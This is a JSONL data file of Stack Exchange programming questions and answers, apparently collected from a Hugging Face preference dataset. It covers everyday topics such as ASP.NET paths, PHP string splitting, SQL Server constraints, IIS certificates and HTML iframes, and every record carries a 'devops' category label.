{"id": "hf_2918ade8384c", "question": "<p>I've started to work a bit with master pages for an ASP.net mvc site and I've come across a question.  When I link in a stylesheet on the master page it seems to update the path to the sheet correctly.  That is in the code I have</p>\n\n<pre><code>&lt;link href=\"../../Content/Site.css\" rel=\"stylesheet\" type=\"text/css\" /&gt;\n</code></pre>\n\n<p>but looking at the source once the page is fed to a browser I get</p>\n\n<pre><code>&lt;link href=\"Content/Site.css\" rel=\"stylesheet\" type=\"text/css\" /&gt;\n</code></pre>\n\n<p>which is perfect.  However the same path translation doesn't seem to work for script files.  </p>\n\n<pre><code>&lt;script src=\"../../Content/menu.js\" type=\"text/javascript\"&gt;&lt;/script&gt;\n</code></pre>\n\n<p>just comes out as the same thing.  It still seems to work on a top level page but I suspect that is just the browser/web server correcting my error.  Is there a way to get the src path to be globbed too?    </p>\n", "question_body": "", "answer": "Use this instead:\n```\n```\n<link href=\"~/Content/Site.css\" rel=\"stylesheet\" type=\"text/css\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:19.964964"}
{"id": "hf_960bc5754d05", "question": "<p>PHP's explode function returns an array of strings split on some provided substring. It will return empty strings when there are leading, trailing, or consecutive delimiters, like this:</p>\n<pre><code>var_dump(explode('/', '1/2//3/'));\narray(5) {\n  [0]=&gt;\n  string(1) &quot;1&quot;\n  [1]=&gt;\n  string(1) &quot;2&quot;\n  [2]=&gt;\n  string(0) &quot;&quot;\n  [3]=&gt;\n  string(1) &quot;3&quot;\n  [4]=&gt;\n  string(0) &quot;&quot;\n}\n</code></pre>\n<p>Is there some different function or option or anything that would return everything <em>except</em> the empty strings?</p>\n<pre><code>var_dump(different_explode('/', '1/2//3/'));\narray(3) {\n  [0]=&gt;\n  string(1) &quot;1&quot;\n  [1]=&gt;\n  string(1) &quot;2&quot;\n  [2]=&gt;\n  string(1) &quot;3&quot;\n}\n</code></pre>\n", "question_body": "", "answer": "```\n```\nfunction not_empty_string($s) {\n  return $s !== \"\";\n}\n\narray_filter(explode('/', '1/2//3/'), 'not_empty_string');\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.001288"}
{"id": "hf_0fb12297609c", "question": "<p>I was discussing neural networks (NN) with a friend over lunch the other day and he claimed the the performance of a NN written in Java would be similar to one written in C++.  I know that with 'just in time' compiler techniques Java can do very well, but somehow I just don't buy it.  Does anyone have any experience that would shed light on this issue?  <a href=\"http://en.wikipedia.org/wiki/Comparison_of_Java_and_C%2B%2B#Performance\" rel=\"nofollow noreferrer\">This page</a> is the extent of my reading on the subject.</p>\n", "question_body": "", "answer": "The Hotspot JIT can now produce code\nfaster\nthan C++.  The reason is run-time empirical optimization.\nFor example, it can see that a certain loop takes the \"false\" branch 99% of the time and reorder the machine code instructions accordingly.\nThere's lots of articles about this.  If you want all the details, read\nSun's excellent whitepaper\n.  For more informal info,\ntry this one\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.049296"}
{"id": "hf_9bfe92a101ae", "question": "<p>Is it possible to use both JScript and VBScript in the same HTA? Can I call VBScript functions from JScript and vice-versa? Are there any \"gotchas,\" like the JScript running first and the VBScript running second (classic ASP pages have this issue).</p>\n", "question_body": "", "answer": "Yeah, just separate them into different script tags:\n```\n```\n<script language=\"javascript\">\n   // javascript code\n</script>\n\n<script language=\"vbscript\">\n   ' vbscript code\n</script>\n```\n```\nEdit: And, yeah, you can cross call between Javascript and VBScript with no extra work.\nEdit: This is also true of ANY Windows Scripting technology.  It works in WSF files and can include scripts written in any supported ActiveScript language such as Perl as long as the engine is installed.\nEdit: The specific \"gotcha\" of all JScript being executed first, then VBScript is related to how ASP processes scripts. The MSHTA host (which uses IE's engine) does not have this problem. I'm not much into HTAs though, so I can't address any other possible \"gotchas\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.095287"}
{"id": "hf_0b52e5b0398c", "question": "<p>Do I risk losing sales by disabling SSL 2.0 and PCT 1.0 in IIS5?</p>\n\n<p>Clarification: Sales would be lost by client not being able to connect via SSL to complete ecommerce transaction because SSL 2.0 or PCT 1.0 is disabled on the web server. </p>\n\n<p>Microsoft kbase article: <a href=\"http://support.microsoft.com/kb/187498\" rel=\"nofollow noreferrer\">http://support.microsoft.com/kb/187498</a></p>\n", "question_body": "", "answer": "Only you can really answer that question. Your customers' experience of your site will be mediated by their browser. The first place to look for browser information is at a listing of the user-agents that are being used to access your website. Hopefully you have a good log analyzer such as Analog, Weblog, Google Analytics, WebTrends, etc. This is the first place to look and should give you a good idea of the SSL level that your general community supports.\nYou may also want to alter your application to check for the SSL level supported by your users' browsers that get to the \"complete ecommerce transaction\" part of your website. This is the best method to determine if you are turning away customers.\nRemember that the SSL level is auto negotiated between the server and the client (best encryption used first) so you don't necessarily need to disable older versions, but you could pop up a message to the user encouraging them to upgrade.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.118168"}
{"id": "hf_f545f12ff759", "question": "<p>I know next to nothing when it comes to the how and why of https connections.  Obviously, when I'm transmitting secure data like passwords or especially credit card information, https is a critical tool.  What do I need to know about it, though?  What are the most common mistakes you see developers making when they implement it in their projects?  Are there times when https is just a bad idea?  Thanks!</p>\n", "question_body": "", "answer": "Be sure that, when on an HTTPS page, all elements on the page come from an HTTPS address. This means that elements should have relative paths (e.g. \"/images/banner.jpg\") so that the protocol is inherited, or that you need to do a check on every page to find the protocol, and use that for all elements.\nNB: This includes all outside resources (like Google Analytics javascript files)!\nThe only down-side I can think of is that it adds (nearly negligible) processing time for the browser and your server. I would suggest encrypting only the transfers that need to be.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.142187"}
{"id": "hf_6eb53899ffe1", "question": "<p>What's the proper way to convert from a scientific notation string such as \"1.234567E-06\" to a floating point variable using C#?</p>\n", "question_body": "", "answer": "```\n```\nDouble.Parse(\"1.234567E-06\", System.Globalization.NumberStyles.Float);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.166161"}
{"id": "hf_b003bda207eb", "question": "<p>If I issue the <a href=\"https://en.wikipedia.org/wiki/Find_(Unix)\" rel=\"noreferrer\">find</a> command as follows:</p>\n<pre><code>find . -name *.ear\n</code></pre>\n<p>It prints out:</p>\n<pre><code>./dir1/dir2/earFile1.ear\n./dir1/dir2/earFile2.ear\n./dir1/dir3/earFile1.ear\n</code></pre>\n<p>I want to 'print' the name and the size to the command line:</p>\n<pre><code>./dir1/dir2/earFile1.ear  5000 KB\n./dir1/dir2/earFile2.ear  5400 KB\n./dir1/dir3/earFile1.ear  5400 KB\n</code></pre>\n", "question_body": "", "answer": "```\n```\nfind . -name \"*.ear\" -exec ls -l {} \\;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.213856"}
{"id": "hf_5bbe6272d194", "question": "<p>I'm using the JFrame plugin with jquery 1.2.6.</p>\n\n<p>It works fine in FF3, however it won't display the requested pages in IE 7.</p>\n\n<p>The jQuery library and the JFrame plugin are called in the included header.cfm.</p>\n\n<p>Page code is here (note: ignore the ColdFusion calls, I don't think they're generating the problem): <a href=\"http://cfm.pastebin.com/m20c1b013\" rel=\"nofollow noreferrer\">http://cfm.pastebin.com/m20c1b013</a></p>\n", "question_body": "", "answer": "When you have a problem like this, the best way of tracking down the problem is to reduce the page to the minimum necessary to reproduce the problem.\n\"Ignore the [x] because I don't think that's the problem\"\nis no good, if you don't think that's the problem, save it to a temporary static page, delete the things you think are unrelated, and then you\nknow\nwhether or not they are the problem.  Keep deleting things you think are unrelated, and eventually you will either find the bit that's screwing things up when you remove it, or you will end up with a very small file that is:\nMuch easier to debug\nMuch more likely to attract help from people\nMuch better testcase for the times when it's a genuine bug in a library\nNot many people are willing to pick apart Coldfusion and table layout code to get to your bug - after all, you're the one with the problem, and even you couldn't be bothered to do it, so why would anybody else?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.249494"}
{"id": "hf_282168677eff", "question": "<p>Theres is a little problem I want to solve with Haskell:\nlet substitute a function that change all of the wildcards in a string for one concrete parameter. The function has de signature of:</p>\n\n<pre><code>subs :: String -&gt; String -&gt; String -&gt; String\n-- example:\n-- subs 'x' \"x^3 + x + sin(x)\" \"6.2\" will generate\n--          \"6.2^3 + 6.2 + sin(6.2)\"\n</code></pre>\n", "question_body": "", "answer": "You could use the\nText.Regex\npackage.\nYour example might look something like this:\n```\n```\nimport Text.Regex(mkRegex, subRegex)\n\nsubs :: String -> String -> String -> String\nsubs wildcard input value = subRegex (mkRegex wildcard) input value\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.284076"}
{"id": "hf_36d8d5cbd746", "question": "<p>What is a <strong>non recursive</strong> algorithm for deciding whether a passed in amount can be built additively from a set of numbers.<br>\nIn my case I'm determining whether a certain currency amount (such as $40) can be met by adding up some combination of a set of bills (such as $5, $10 and $20 bills).  That is a simple example, but the algorithm needs to work for any currency set (some currencies use funky bill amounts and some bills may not be available at a given time).<br>\nSo $50 can be met with a set of ($20 and $30), but cannot be met with a set of ($20 and $40).  The non-recursive requirement is due to the target code base being for <code>SQL Server 2000</code> where the support of recursion is limited.<br>\nIn addition this is for supporting a multi currency environment where the set of bills available may change (think a foreign currency exchange teller for example).</p>\n", "question_body": "", "answer": "Edit:\nThe following will work\nsome\nof the time.  Think about why it won't work all the time and how you might change it to cover other cases.\nBuild it starting with the largest bill towards the smallest.  This will yeild the lowest number of bills.\nTake the initial amount and apply the largest bill as many times as you can without going over the price.\nStep to the next largest bill and apply it the same way.\nKeep doing this until you are on your smallest bill.\nThen check if the sum equals the target amount.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.307046"}
{"id": "hf_1d14494b142e", "question": "<p>Coming from <code>J2ME</code> programming are there any similarities that would make it easy to adapt to <code>Android API</code>. Or is <code>Android API</code> completely different from the <code>J2ME</code> way of programming mobile apps. </p>\n", "question_body": "", "answer": "A good start would be to watch the Android architecture videos and look at some of the documentation.\nhttp://www.youtube.com/view_play_list?p=586D322B5E2764CF\nhttp://code.google.com/android/what-is-android.html\nGoogle is very good about documenting. From what I've heard Android very very similar to J2ME in its goals. It may be slightly different in programming style and structure but if you have J2ME experience you should be more then ready to move on to Android.\nGood Luck!!!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.330071"}
{"id": "hf_04d959495d44", "question": "<p>How can I poll disk activity in Applescript? Check to see if disk X is being read, written, or idle every N seconds and do something.</p>\n", "question_body": "", "answer": "In general, polling is less efficient than being notified when something happens. Additionally, if you're checking whether something is reading from a disk, you will probably be accessing said disk yourself, possibly influencing what you're trying to observe.\nSince 10.5, OSX includes something called the File System Events framework, which provides course-grained notifications of changes to the file system. The problem in your case is that this is Objective-C only. Apple has some nice\ndocumentation\nabout this API.\nFortunately, there is also the\n```\ncall method\n```\nAppleScript command. This allows you to work with Objective-C objects from within AppleScript. Here's the\ndocumentation\non that.\nI have no experience with either, hence the documentation references. Hopefully, this should get you going.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.352913"}
{"id": "hf_538d9867a3a4", "question": "<pre><code>int i = 4;\nstring text = \"Player \";\ncout &lt;&lt; (text + i);\n</code></pre>\n\n<p>I'd like it to print <code>Player 4</code>.</p>\n\n<p>The above is obviously wrong but it shows what I'm trying to do here. Is there an easy way to do this or do I have to start adding new includes?</p>\n", "question_body": "", "answer": "```\n```\ncout << \"Player\" << i ;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.435058"}
{"id": "hf_9eca0ac0b3b8", "question": "<p>Most text editors have a navigation pane that lets you see all the files you currently have open.  Or a pane that lets you browse a file directory.</p>\n\n<p>How do I do this in Emacs?</p>\n", "question_body": "", "answer": "C-x b TAB\nwill give you an auto complete with all open buffers.   Alternatively, click on the\n```\nBuffers\n```\nmenu item if you are in a windowed version (not sure if there is a terminal equivalent of that).\nEDIT: Also\nC-x C-f\nwill let you open a file, and you can use\nTAB\nfor autocomplete, then\nTAB\nagain to view files/directories in that current directory (assuming the first tab did not autocomplete something).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.482813"}
{"id": "hf_3c99eefd735d", "question": "<p>Is there a way to substring in JSP files, using struts2 technologies? I mean, struts2 has its own taglib and also uses ognl. How can I get a substring from a stacked value or bean value?</p>\n", "question_body": "", "answer": "http://java.sun.com/products/jsp/jstl/1.1/docs/tlddocs/index.html\nLook for fn:substring and its variants.\nI've used Struts 1, but not 2.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.529446"}
{"id": "hf_1ec5001fb2af", "question": "<p>As of the fall of 2008 I'm about to embark on a new development cycle for a major product that has a winforms and an asp.net interface.  We use Telerik, DevExpress and Infragistics components in it and all are going to have a release within a month or so which will be the one I target for our spring release of our product.  </p>\n\n<p>They all support VS2005 and we will continue to target .net 2+ so I can't see any compelling reason so far to upgrade to VS2008.</p>\n\n<p>Has anyone found a compelling reason for upgrading to VS2008?</p>\n", "question_body": "", "answer": "It's worth it. It's faster, the designer is vastly improved (split view, faster context switching), it has better support for javascript and when you're ready to target 3.5, you'll be ready to go.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.576293"}
{"id": "hf_707c9835b767", "question": "<p>I believe I need a DTD to define the schema and an XSLT if I want to display it in a browser and have it look \"pretty\". But I'm not sure what else I would need to have a well-defined XML document that can be queried using XQuery and displayed in a web browser.</p>\n", "question_body": "", "answer": "Strictly speaking, you need nothing. XML, even without a schema definition, works.\nA schema definition (in XSD, RelaxNG or DTD) helps various tools that work with the XML, because they can verify that the structure of the XML conforms to what you want.\nAn XSLT translation to HTML is nice if the XML contains information you'll want to look at with a browser. It's far from necessary, though.\nTo query the XML with XPath or XQuery, you need an XPath or XQuery processor.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.598810"}
{"id": "hf_c8bf418295c9", "question": "<p>Has anybody used C# to write a sample screen scraper for IBM as400?</p>\n", "question_body": "", "answer": "I wrote one in C many years ago for a project at Frigidaire.  The internal card would cause all sorts of fun with memory leaks but I eventually found a solution by allocating arrays at the boundary of the communication card.  This was over 8 years ago, I'm sure today's cards are much better and/or using native comm to read the AS400 screens.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.633088"}
{"id": "hf_dfadd94ea645", "question": "<p>How would you write (in C/C++) a macro which tests if an integer type (given as a parameter) is signed or unsigned?</p>\n\n<pre>\n\n      #define is_this_type_signed (my_type) ...\n\n</pre>\n", "question_body": "", "answer": "In C++, use\n```\nstd::numeric_limits<type>::is_signed\n```\n.\n```\n```\n#include <limits>\nstd::numeric_limits<int>::is_signed  - returns true\nstd::numeric_limits<unsigned int>::is_signed  - returns false\n```\n```\nSee\nhttps://en.cppreference.com/w/cpp/types/numeric_limits/is_signed\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.656630"}
{"id": "hf_06dd2834ad13", "question": "<p>I need to deploy an application on the WAS ND 6.1 and do not know anything about it and cannot afford to go to training...</p>\n", "question_body": "", "answer": "There is the RedBook\nWebSphere Application Server V6.1: System Management and Configuration\nwith Chapter 14 talking about application deployment, this could help.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.692790"}
{"id": "hf_dd62e3ab396a", "question": "<p>During the load of my cocoa application, my program crashes with the messsage EXC_BAD_ACCESS.  The stack trace is not helpful.  Any clues to how I can find the problem?</p>\n", "question_body": "", "answer": "This is one possible reason.  There is a IBOutlet object that isn't being initialized and a message is being invoked on nil.  The stack trace might look like this:\n```\n```\n#0    0x90a594c7 in objc_msgSend\n#1    0xbffff7b8 in ??\n#2    0x932899d8 in loadNib\n#3    0x932893d9 in +[NSBundle(NSNibLoading) _loadNibFile:nameTable:withZone:ownerBundle:]\n#4    0x9328903a in +[NSBundle(NSNibLoading) loadNibFile:externalNameTable:withZone:]\n#5    0x93288f7c in +[NSBundle(NSNibLoading) loadNibNamed:owner:]\n#6    0x93288cc3 in NSApplicationMain\n#7    0x00009f80 in main at main.mm:17\n```\n```\nSince the stack trace is not helpful you will have to step through your code to find the error.  If for some reason you aren't able to set breakpoints early in your execution, try inserting some Debugger(); calls which will break to the debugger.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.721111"}
{"id": "hf_f438319ff250", "question": "<p>Is it possible to select from <code>show tables</code> in MySQL?</p>\n\n<pre><code>SELECT * FROM (SHOW TABLES) AS `my_tables`\n</code></pre>\n\n<p>Something along these lines, though the above does not work (on 5.0.51a, at least).</p>\n", "question_body": "", "answer": "Have you looked into querying INFORMATION_SCHEMA.Tables?  As in\n```\n```\nSELECT ic.Table_Name,\n    ic.Column_Name,\n    ic.data_Type,\n    IFNULL(Character_Maximum_Length,'') AS `Max`,\n    ic.Numeric_precision as `Precision`,\n    ic.numeric_scale as Scale,\n    ic.Character_Maximum_Length as VarCharSize,\n    ic.is_nullable as Nulls, \n    ic.ordinal_position as OrdinalPos, \n    ic.column_default as ColDefault, \n    ku.ordinal_position as PK,\n    kcu.constraint_name,\n    kcu.ordinal_position,\n    tc.constraint_type\nFROM INFORMATION_SCHEMA.COLUMNS ic\n    left outer join INFORMATION_SCHEMA.key_column_usage ku\n        on ku.table_name = ic.table_name\n        and ku.column_name = ic.column_name\n    left outer join information_schema.key_column_usage kcu\n        on kcu.column_name = ic.column_name\n        and kcu.table_name = ic.table_name\n    left outer join information_schema.table_constraints tc\n        on kcu.constraint_name = tc.constraint_name\norder by ic.table_name, ic.ordinal_position;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.758323"}
{"id": "hf_8bb8b5184537", "question": "<p>I need to support exact phrases (enclosed in quotes) in an otherwise space-separated list of terms.\nThus splitting the respective string by the space-character is not sufficient anymore.</p>\n\n<p>Example:</p>\n\n<pre><code>input : 'foo bar \"lorem ipsum\" baz'\noutput: ['foo', 'bar', 'lorem ipsum', 'baz']\n</code></pre>\n\n<p>I wonder whether this could be achieved with a single RegEx, rather than performing complex parsing or split-and-rejoin operations.</p>\n\n<p>Any help would be greatly appreciated!</p>\n", "question_body": "", "answer": "```\n```\n'foo bar \"lorem ipsum\" baz'.match(/\"[^\"]*\"|\\w+/g);\n```\n```\nthe bounding quotes get included though", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.783025"}
{"id": "hf_5186cc1d1d12", "question": "<p>I want to create templates for base new reports on to have common designs.  How do you do it?</p>\n", "question_body": "", "answer": "The need to produce reports with a common starting design and format is key to any project involving clients and their reports.  I have been working on reports for over 10 years now.  This has not been the largest portion of my jobs through the years but it has been a very import one.  The key to any report project is not to recreate the mundane aspects of the reports for each but to use templates.  The use of templates is not a common task or knowledge for Microsoft's SQL Server Reporting Services.  Knowing how to save reports templates so that you and your team can create these shortcuts at the creation of a new report in Visual Studio 2005 will help save time and have all reports use the same layout and design.\nCreate of a set of reports with the following suggestions:\nPage size -- 8.5 by 11 (letter) and 8.5 by 14 (legal)\nOrientation -- portrait and landscape for all paper sizes\nHeader -- Text Box for report name, Text Box for report subtitle, client or brand logo\nFooter -- page number/total pages, date and time report printed\nTake all the rdl files for the reports created from the suggestions and copy the files to the following directory:\nC:\\Program Files\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies\\ProjectItems\\ReportProject\nWhen creating a new report in your Visual Studio 2005 report project through Add|New Item\nalt text http://www.cloudsocket.com/images/image-thumb14.png\nThe new report dialog will present the list of items from the directory where the new templates were placed.\nalt text http://www.cloudsocket.com/images/image-thumb15.png\nSelect the report that fits the requirement needed and proceed to develop your reports without needing to create the basics.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.806534"}
{"id": "hf_9417fff4d803", "question": "<p>As stated in the title, i'm looking for an XML schema (XSD-file) for the Glade markup language?</p>\n\n<p>Wikipedia states that <strong>Glade</strong> is a schema based markup language (<a href=\"http://en.wikipedia.org/wiki/List_of_XML_Schemas#Graphical_User_Interfaces\" rel=\"nofollow noreferrer\">list of schemas at wikipedia</a>). I tried to search the web, wikipedia and the glade website,but i couldn't find an XSD for Glade.</p>\n\n<p>Thx,\nJuve</p>\n", "question_body": "", "answer": "http://svn.async.com.br/cgi-bin/viewvc.cgi/libglade/glade-2.0.dtd?view=markup\n(The main version @\nhttp://glade.gnome.org/glade-2.0.dtd\ndoesn't seem to be working)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.854557"}
{"id": "hf_4b99c82548f1", "question": "<p>How do you create SQL Server 2005 stored procedure templates in SQL Server 2005 Management Studio?</p>\n", "question_body": "", "answer": "You bring up\nTemplate Explorer\nusing Ctrl+Alt+T or trough\nView > Template Explorer\n. Then you can right click tree nodes to add new Templates or new folders to organize your new templates.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.902752"}
{"id": "hf_cd71d15f254d", "question": "<p>How do I create a unique constraint on an existing table in SQL Server 2005?</p>\n\n<p>I am looking for both the TSQL and how to do it in the Database Diagram.</p>\n", "question_body": "", "answer": "```\n```\nALTER TABLE dbo.<tablename> ADD CONSTRAINT\n            <namingconventionconstraint> UNIQUE NONCLUSTERED\n    (\n                <columnname>\n    ) ON [PRIMARY]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.926507"}
{"id": "hf_65edc7bd9fd0", "question": "<p>I'm working with a support person who is supposed to be able to install SSL certs on a web server he maintains.  He has local admin rights to the server via a domain security group.  He also has permissions on our internal CA running Windows 2003 Server Certificate Authority: \"Request cert\" and \"Issue and Manage certs\".</p>\n\n<p>The server he's working with is running Windows 2000 SP4 / IIS 5.  When he attempts to create an online server cert the IIS wizard ends with \"Failed to install.  Access is Denied.\".  The event viewer is not working properly, so I can't find any details there.  I suspect the permission issue is locally and not with the CA.</p>\n\n<p>My account is a domain admin account and I know I am able to do this operation, however I need to make this work for others that are not domain admins.</p>\n\n<p>Any ideas why he can't perform this operation?</p>\n", "question_body": "", "answer": "I had this exact same issue a few months ago when I was setting up a cert for a client.\nThere's a MachineKeys folder that the Administrator need rights -\n```\n```\n\\Documents and Settings\\All Users\\Application Data\\Microsoft\\Crypto\\RSA\\MachineKeys\n```\n```\ngive\nAdministrator\n(or the Administrator group)\nFull Control\nover this directory.  I don't think you have to restart IIS, but it never hurts .\nI have no idea why Admin doesn't control this as default.\nOnce this is changed, the Certificate Creation Wizard will successfully generate the certificate request.\nI think there's even a Microsoft KB article about it somewhere.\nEDIT: Here's the KB article :\nhttp://support.microsoft.com/kb/908572\n-Jon", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:20.962820"}
{"id": "hf_cbd2ed0cecbc", "question": "<p>How would I remove the border from an iframe embedded in my web app? An example of the iframe is:</p>\n\n<pre><code>&lt;iframe src=\"myURL\" width=\"300\" height=\"300\"&gt;Browser not compatible.&lt;/iframe&gt;\n</code></pre>\n\n<p>I would like the transition from the content on my page to the contents of the iframe to be seamless, assuming the background colors are consistent. The target browser is IE6 only and unfortunately solutions for others will not help.</p>\n", "question_body": "", "answer": "Add the\n```\nframeBorder\n```\nattribute (note the\ncapital ‘B’\n).\nSo it would look like:\n```\n```\n<iframe src=\"myURL\" width=\"300\" height=\"300\" frameBorder=\"0\">Browser not compatible.</iframe>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:21.047822"}
